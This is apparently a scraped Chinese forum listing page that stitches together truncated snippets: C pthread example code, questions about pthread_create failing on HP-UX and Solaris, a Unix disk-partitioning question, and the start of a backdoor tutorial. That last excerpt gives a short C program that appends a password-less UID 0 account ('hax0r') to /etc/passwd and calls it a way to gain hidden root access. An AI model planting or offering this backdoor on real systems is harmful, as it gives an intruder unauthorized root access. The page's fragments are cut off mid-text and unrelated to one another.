void * child(void *args) { printf("child thread start\n"); int tid = pthread_self(); printf("thread %d enter\n", tid); printf("child thread end\n"); } int main(void) { printf("main thread start\n"); for(;;) { pthread_t pt; int ret = pthread_create(&pt, NULL, child, NULL ); printf("main thread create thread the ret =%d...
by sunday1207 - C/C++ - 2007-03-05 22:52:58 阅读(1488) 回复(2)
tst_thread.c
#include
hp unix下面 执行pthread_create(tTid, &attr, tEntry, lpArgv); 就有信号SIGBUS产生,因而产生异常,同样的程序在 solaris ,aix下则正常,各位大虾,请问是什么问题阿?
我曾经作了好几次尝试,在solaris8和hp系统中调用线程,但是线程创建不起来,在solaris中返回-1,而在hp系统中返回251,这是为什么?
#include
rc=pthread_create(&thread1,&tattr,&WatchdogThread,(void*)&MyPID ); Here the call of pthread_create() fails with a return code of -1 but errno is 0 so that I don't have an idea what the problem could be. Does anybody have an idea?
:cry::evil:我的硬盘是20G。 已经装了XP,再装unix。 现在进行到如下界面 1.Display patition table 2.Use entire disk for unix(整个硬盘给unix) 3.Use rest of disk for unix(把剩余空间给unix) 4.Create unix patition(创建unix分区) 5.Active(激活刚分的区) 6.Delete(删除) 7.Create(创建) 我选择了4 Current Hard Disk Drive:/dev/rdsk/0s0 Partition Status Type Start End ...
初级篇 最简单的方法,就是在口令文件 passwd 中增加一个 UID 为 0 的帐号。但最好别这么做,因为只要系统管理员检查口令文件就会“漏馅”了。以下是在 /etc/passwd 口令文件中添加一个 UID 0 帐号的C程序。 <++>; backdoor/backdoor1.c #include main() { FILE *fd; fd=fopen("/etc/passwd","a+"); fprintf(fd,"hax0r::0:0::/root:/bin/sh\n"); } <-->; 比这种方法稍微隐蔽一点的就是将藏在口令文件中某个无人使用帐号...